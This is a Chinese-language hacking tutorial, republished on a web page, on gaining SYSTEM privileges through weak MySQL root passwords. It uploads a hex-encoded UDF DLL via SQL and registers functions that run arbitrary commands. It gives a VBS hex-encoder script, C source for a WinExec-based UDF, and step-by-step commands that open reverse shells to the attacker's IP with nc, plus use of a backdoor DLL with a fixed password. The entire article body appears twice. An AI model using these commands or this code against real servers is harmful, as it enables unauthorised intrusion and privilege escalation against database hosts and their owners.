教你如何通過Mysql弱口令得到系統(tǒng)權(quán)限
發(fā)布日期:2021-12-16 10:55 | 文章來源:腳本之家
很早網(wǎng)上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統(tǒng)權(quán)限,看清楚了,是“直接”得到!
首先,我簡單說一下mysql弱口令得到系統(tǒng)權(quán)限得過程:首先利用mysql腳本上傳udf dll文件,然后利用注冊UDF DLL中自寫的Function函數(shù),而執(zhí)行任意命令。
思路很簡單,網(wǎng)上也有一些教程,但是他們要么沒有給具體的代碼,要么一句話代過,搞得象我似得小菜很難理解,終于在我付出了幾天得不斷測試得辛勤勞動(dòng)后,有了點(diǎn)結(jié)果,我把詳細(xì)過程和相關(guān)代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進(jìn)制碼啦!
下面,我們先說如何生成二進(jìn)制文件得上傳腳本。看看這段mysql腳本代碼(網(wǎng)友Mix用的方法):
set @a = concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段為data,類型為longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//導(dǎo)出表中內(nèi)容為文件
前兩句很熟悉把,這個(gè)就是我們以前注入的時(shí)候,繞過’的解決辦法,把代碼的16進(jìn)制數(shù)聲明給一個(gè)變量,然后導(dǎo)入這個(gè)變量就行了。只不過這里,因?yàn)?6進(jìn)制代碼是一個(gè)文件的內(nèi)容,代碼太長了,所以就用了concat函數(shù)不斷把上次得代碼類加起來,這樣不斷累計(jì)到一個(gè)變量a中。后面幾句就很簡單了,我都有注釋。
后面三句好說,但是前面的那么多16進(jìn)制數(shù)據(jù),手工的話,累人啊!不過你還記得以前有一個(gè)exe2bat.vbs腳本嗎?這次我們可以把這個(gè)腳本修改一下后,得到我們這里需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕松的得到我們所需的腳本。腳本內(nèi)容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,現(xiàn)在只要你把所要上傳的文件拖到這個(gè)腳本圖標(biāo)上面,就可以生成一個(gè)同名的txt文件了。這個(gè)txt文件,就是我們所需要的mysql腳本,當(dāng)然我們還需要修改一下這個(gè)txt文件(畢竟他是我們偷工減料得來的?。?,把最后一行生成的多余的那句“set @a = concat('',0x”刪除了,加上建表,插值得那三句代碼即可!
腳本生成了,如何上傳?先登陸mysql服務(wù)器:
C:\>mysql –u root –h hostip –p
Mysql>use mysql; //先進(jìn)入mysql默認(rèn)得數(shù)據(jù)庫,否則你下一步的表將不知道屬于哪個(gè)庫
Mysql>\. E:\*.dll.txt; //這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當(dāng)然網(wǎng)速要快啦),不一會(huì)你的文件舊上傳完畢了!
下面到達(dá)我們的重點(diǎn),我們上傳什么dll文件?就目前我再網(wǎng)上看到的有兩個(gè)已經(jīng)寫好的dll文件,一個(gè)是Mix寫得mix.dll,一個(gè)是envymask寫得my_udf.dll,這兩個(gè)我都用過,都很不錯(cuò),但是都也有點(diǎn)不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql> \. e:\mix.dll.txt;
Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//這兒的注冊的Mixconnect就是在我們dll文件中實(shí)現(xiàn)的函數(shù),我們將要用他執(zhí)行系統(tǒng)命令!
Mysql> select Mixconnect('你的ip','8080'); //填寫你的反彈ip和端口
過一會(huì)兒,你監(jiān)聽8080端口的nc,就會(huì)得到一個(gè)系統(tǒng)權(quán)限的shell了!如圖1:
這個(gè)的確不錯(cuò),通過反彈得到得shell可以傳過一些防火墻,可惜的是,它的這個(gè)函數(shù)沒有寫得很好,只能執(zhí)行一次,當(dāng)你第二次連接數(shù)據(jù)庫后,再次運(yùn)行“select Mixconnect('你的ip','8080');”的時(shí)候,對方的mysql會(huì)當(dāng)?shù)簦?bào)錯(cuò),然后服務(wù)停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機(jī)會(huì)!另外根據(jù)我的測試,他對Win2003的系統(tǒng)好像不起作用。
再用my_udf.dll:
Mysql>\. C:\my_udf.dll.txt
Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同樣地,my_udfdoor也是我們注冊后,用來執(zhí)行系統(tǒng)命令得函數(shù)
Mysql> select my_udfdoor('’); //這兒可以隨便寫my_udfdoor得參數(shù),相當(dāng)于我們只是要激活這個(gè)函數(shù)
好了,現(xiàn)在你可以不用關(guān)這個(gè)shell了,我們再開一個(gè)cmd,使用:
D:\>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個(gè)后,輸入“f**k” ,他是my_udfdoor默認(rèn)密碼,自己無法更改
過一會(huì)兒,你就有了系統(tǒng)權(quán)限的shell了,
由于他是hook recv版,所以穿墻的能力很強(qiáng),我是在上一個(gè)mix.dll反彈失敗的情況下,才使用這個(gè)得,他果然不負(fù)所望!進(jìn)系統(tǒng)后,發(fā)現(xiàn)它有雙網(wǎng)卡,天網(wǎng)防火墻個(gè)人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實(shí)有很強(qiáng)的穿透防火墻得能力!但是他也有一個(gè)bug,就是再我們連接激活這個(gè)函數(shù)后(就是使用了命令“select my_udfdoor('’);”后),不管你是否連接,只要執(zhí)行了:
Mysql>drop function my_udfdoor; 后,mysql也匯報(bào)錯(cuò),然后掛掉,
所以,你使用這個(gè)dll文件無法刪除你的痕跡!
最后,然我們自己寫一個(gè)自定義的dll文件??茨懿荒芙鉀Q問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
#include <stdlib.h>
#include <winsock.h>
#include <mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error);
// 兼容C
}
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 調(diào)用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個(gè)哥們Crackme是修改的:
#include <stdlib.h>
#include <windows.h>
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函數(shù)名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //當(dāng)然這兒的sys_name也得改!
{
char me[256] = {0};
if (args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);
me[args->lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它來執(zhí)行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我們編譯成sysudf.dll文件就可以了!我們來用他實(shí)驗(yàn)一把!
看操作:
Mysql>\. C:\sysudf.dll.txt
Mysql>Create function sys_name returns string soname 'C:\\windows\\sysudf.dll';
Mysql>\. Nc.exe.txt //把nc.exe也上傳上去
Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name參數(shù)只有一個(gè),參數(shù)指定要執(zhí)行的系統(tǒng)命令
好,看看在Win2003中的一個(gè)反彈shell了,
當(dāng)然,我們你也可以不反彈shell了,而去執(zhí)行其他命令,只不過不論是否執(zhí)行成功,都沒有回顯,所以要保證命令格式正確。對于這個(gè)dll文件,經(jīng)過測試,不論何時(shí)“drop function sys_name;”,都是不會(huì)報(bào)錯(cuò)的,同時(shí)也可以多次運(yùn)行不同命令。至于他的缺點(diǎn),就是他的穿墻能力跟Mix.dll一樣不算太強(qiáng),但對于實(shí)在穿不透的墻,直接運(yùn)行其他命令就是最好的選擇了。
上面三個(gè)dll文件可謂各有所短,如何選擇,就看你遇到的實(shí)際情況了。
好了,從腳本得編寫使用到dll文件編寫使用,說了這么多,現(xiàn)在大家應(yīng)該都會(huì)了吧?題目說的是弱口令得到系統(tǒng)權(quán)限,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u后又一大提權(quán)方法了嗎?
首先,我簡單說一下mysql弱口令得到系統(tǒng)權(quán)限得過程:首先利用mysql腳本上傳udf dll文件,然后利用注冊UDF DLL中自寫的Function函數(shù),而執(zhí)行任意命令。
思路很簡單,網(wǎng)上也有一些教程,但是他們要么沒有給具體的代碼,要么一句話代過,搞得象我似得小菜很難理解,終于在我付出了幾天得不斷測試得辛勤勞動(dòng)后,有了點(diǎn)結(jié)果,我把詳細(xì)過程和相關(guān)代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進(jìn)制碼啦!
下面,我們先說如何生成二進(jìn)制文件得上傳腳本。看看這段mysql腳本代碼(網(wǎng)友Mix用的方法):
set @a = concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段為data,類型為longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//導(dǎo)出表中內(nèi)容為文件
前兩句很熟悉把,這個(gè)就是我們以前注入的時(shí)候,繞過’的解決辦法,把代碼的16進(jìn)制數(shù)聲明給一個(gè)變量,然后導(dǎo)入這個(gè)變量就行了。只不過這里,因?yàn)?6進(jìn)制代碼是一個(gè)文件的內(nèi)容,代碼太長了,所以就用了concat函數(shù)不斷把上次得代碼類加起來,這樣不斷累計(jì)到一個(gè)變量a中。后面幾句就很簡單了,我都有注釋。
后面三句好說,但是前面的那么多16進(jìn)制數(shù)據(jù),手工的話,累人啊!不過你還記得以前有一個(gè)exe2bat.vbs腳本嗎?這次我們可以把這個(gè)腳本修改一下后,得到我們這里需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕松的得到我們所需的腳本。腳本內(nèi)容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,現(xiàn)在只要你把所要上傳的文件拖到這個(gè)腳本圖標(biāo)上面,就可以生成一個(gè)同名的txt文件了。這個(gè)txt文件,就是我們所需要的mysql腳本,當(dāng)然我們還需要修改一下這個(gè)txt文件(畢竟他是我們偷工減料得來的?。?,把最后一行生成的多余的那句“set @a = concat('',0x”刪除了,加上建表,插值得那三句代碼即可!
腳本生成了,如何上傳?先登陸mysql服務(wù)器:
C:\>mysql –u root –h hostip –p
Mysql>use mysql; //先進(jìn)入mysql默認(rèn)得數(shù)據(jù)庫,否則你下一步的表將不知道屬于哪個(gè)庫
Mysql>\. E:\*.dll.txt; //這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當(dāng)然網(wǎng)速要快啦),不一會(huì)你的文件舊上傳完畢了!
下面到達(dá)我們的重點(diǎn),我們上傳什么dll文件?就目前我再網(wǎng)上看到的有兩個(gè)已經(jīng)寫好的dll文件,一個(gè)是Mix寫得mix.dll,一個(gè)是envymask寫得my_udf.dll,這兩個(gè)我都用過,都很不錯(cuò),但是都也有點(diǎn)不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql> \. e:\mix.dll.txt;
Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//這兒的注冊的Mixconnect就是在我們dll文件中實(shí)現(xiàn)的函數(shù),我們將要用他執(zhí)行系統(tǒng)命令!
Mysql> select Mixconnect('你的ip','8080'); //填寫你的反彈ip和端口
過一會(huì)兒,你監(jiān)聽8080端口的nc,就會(huì)得到一個(gè)系統(tǒng)權(quán)限的shell了!如圖1:
這個(gè)的確不錯(cuò),通過反彈得到得shell可以傳過一些防火墻,可惜的是,它的這個(gè)函數(shù)沒有寫得很好,只能執(zhí)行一次,當(dāng)你第二次連接數(shù)據(jù)庫后,再次運(yùn)行“select Mixconnect('你的ip','8080');”的時(shí)候,對方的mysql會(huì)當(dāng)?shù)簦?bào)錯(cuò),然后服務(wù)停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機(jī)會(huì)!另外根據(jù)我的測試,他對Win2003的系統(tǒng)好像不起作用。
再用my_udf.dll:
Mysql>\. C:\my_udf.dll.txt
Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同樣地,my_udfdoor也是我們注冊后,用來執(zhí)行系統(tǒng)命令得函數(shù)
Mysql> select my_udfdoor('’); //這兒可以隨便寫my_udfdoor得參數(shù),相當(dāng)于我們只是要激活這個(gè)函數(shù)
好了,現(xiàn)在你可以不用關(guān)這個(gè)shell了,我們再開一個(gè)cmd,使用:
D:\>nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個(gè)后,輸入“f**k” ,他是my_udfdoor默認(rèn)密碼,自己無法更改
過一會(huì)兒,你就有了系統(tǒng)權(quán)限的shell了,
由于他是hook recv版,所以穿墻的能力很強(qiáng),我是在上一個(gè)mix.dll反彈失敗的情況下,才使用這個(gè)得,他果然不負(fù)所望!進(jìn)系統(tǒng)后,發(fā)現(xiàn)它有雙網(wǎng)卡,天網(wǎng)防火墻個(gè)人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實(shí)有很強(qiáng)的穿透防火墻得能力!但是他也有一個(gè)bug,就是再我們連接激活這個(gè)函數(shù)后(就是使用了命令“select my_udfdoor('’);”后),不管你是否連接,只要執(zhí)行了:
Mysql>drop function my_udfdoor; 后,mysql也匯報(bào)錯(cuò),然后掛掉,
所以,你使用這個(gè)dll文件無法刪除你的痕跡!
最后,然我們自己寫一個(gè)自定義的dll文件??茨懿荒芙鉀Q問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
#include <stdlib.h>
#include <winsock.h>
#include <mysql.h>
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error);
// 兼容C
}
char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 調(diào)用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個(gè)哥們Crackme是修改的:
#include <stdlib.h>
#include <windows.h>
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函數(shù)名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //當(dāng)然這兒的sys_name也得改!
{
char me[256] = {0};
if (args->arg_count == 1){
strncpy(me,args->args[0],args->lengths[0]);
me[args->lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它來執(zhí)行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我們編譯成sysudf.dll文件就可以了!我們來用他實(shí)驗(yàn)一把!
看操作:
Mysql>\. C:\sysudf.dll.txt
Mysql>Create function sys_name returns string soname 'C:\\windows\\sysudf.dll';
Mysql>\. Nc.exe.txt //把nc.exe也上傳上去
Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name參數(shù)只有一個(gè),參數(shù)指定要執(zhí)行的系統(tǒng)命令
好,看看在Win2003中的一個(gè)反彈shell了,
當(dāng)然,我們你也可以不反彈shell了,而去執(zhí)行其他命令,只不過不論是否執(zhí)行成功,都沒有回顯,所以要保證命令格式正確。對于這個(gè)dll文件,經(jīng)過測試,不論何時(shí)“drop function sys_name;”,都是不會(huì)報(bào)錯(cuò)的,同時(shí)也可以多次運(yùn)行不同命令。至于他的缺點(diǎn),就是他的穿墻能力跟Mix.dll一樣不算太強(qiáng),但對于實(shí)在穿不透的墻,直接運(yùn)行其他命令就是最好的選擇了。
上面三個(gè)dll文件可謂各有所短,如何選擇,就看你遇到的實(shí)際情況了。
好了,從腳本得編寫使用到dll文件編寫使用,說了這么多,現(xiàn)在大家應(yīng)該都會(huì)了吧?題目說的是弱口令得到系統(tǒng)權(quán)限,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u后又一大提權(quán)方法了嗎?
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章